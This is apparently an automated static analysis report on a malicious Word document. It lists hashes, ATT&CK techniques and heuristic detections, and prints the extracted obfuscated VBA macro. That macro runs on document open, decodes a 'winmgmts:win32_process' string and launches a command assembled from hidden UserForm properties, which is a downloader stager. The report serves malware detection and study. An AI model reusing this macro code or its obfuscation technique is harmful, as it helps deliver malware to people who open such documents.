Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ead944353b2a9cf…

MALICIOUS

Office (OLE)

173.0 KB Created: 2020-07-20 13:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 49339eed205ac15f230f826c38be0781 SHA-1: 19d6e06e8e36830218b7ff4be0d12d5f0c20b6a4 SHA-256: 5ead944353b2a9cf735e30bc2b86aa285e8f72e30ae8cee4e7a20517e631e7a1
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that utilizes a hidden UserForm and a command stager, a common technique for executing malicious code. The macro's Document_Open subroutine is designed to automatically run upon opening the document. The script appears to construct a URL using concatenated strings and then executes it, indicating it's likely a downloader for a second-stage payload. The presence of ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9238055-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9238055-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10363 bytes
SHA-256: 8bb990ced74cf71a788053f878a71842d5bbe3cfef00b43a669b553aa9ec03cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wiogyauf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
becfovrithquoojcaichchig
End Sub


Attribute VB_Name = "ciewdaidcout"
Attribute VB_Base = "0{AB7C1F3B-2C05-4CEA-B429-1D1D4E5A0813}{779D3888-2824-458B-9CA0-F341689C95D3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jeap"
Function becfovrithquoojcaichchig()
leathhioy = Chr(ciewdaidcout.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
woeljauc = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + leathhioy + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + ciewdaidcout.hiosthoepcheiy + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
wex = weichdiacparthouth(woeljauc)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set chuxheex = CreateObject(wex)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
nequtauwquoimyoefdooc = ciewdaidcout.taizkupgebjiaycaljov.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
siofleegxixyeeztoefhuax = wex + leathhioy + ciewdaidcout.soysoahxaf.ControlTipText + nequtauwquoimyoefdooc
Dim jbqvN3A7Cr As Byte
jaepzoirfoakmoab = siofleegxixyeeztoefhuax + ciewdaidcout.hiosthoepcheiy
Dim yuklqG As Date
Set xinthiwviath = bojyopchiotriegyaelgeob(jaepzoirfoakmoab)
Dim DQk As Object
s = Array(nba, chuxheex. _
Create(seikzeccaivjeispiav, seuzwaetdeifteekzednaeth, xinthiwviath))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function bojyopchiotriegyaelgeob(kuffoub)
Set bojyopchiotriegyaelgeob = CreateObject(kuffoub)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
bojyopchiotriegyaelgeob _
. _
showwindow = (tokxiomhoow + huamheufgauv) + (nodgiacchourmioququeib + joofkuuxlechwacjuach)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function weichdiacparthouth(toiwnawruac)
neequruhhaothhop = toiwnawruac
Dim KmJU As Double
kaikpiafhauwnencoigriew = Split(neequruhhaothhop, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

thuumxiowzaexnuup = vVXqw + Join(kaikpiafhauwnencoigriew, vVXqw)
Dim iVvSORugs As Byte
weichdiacparthouth = thuumxiowzaexnuup
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function seikzeccaivjeispiav()
opo = ciewdaidcout.puxzeumheugdiojvaorchoix.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

seikzeccaivjeispiav = weichdiacparthouth(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/90d3a971f05f49009604a500aaf1b386.bin
' ===============================================================================
' Module streams:
' Macros/VBA/wiogyauf - 1370 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub wiog
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.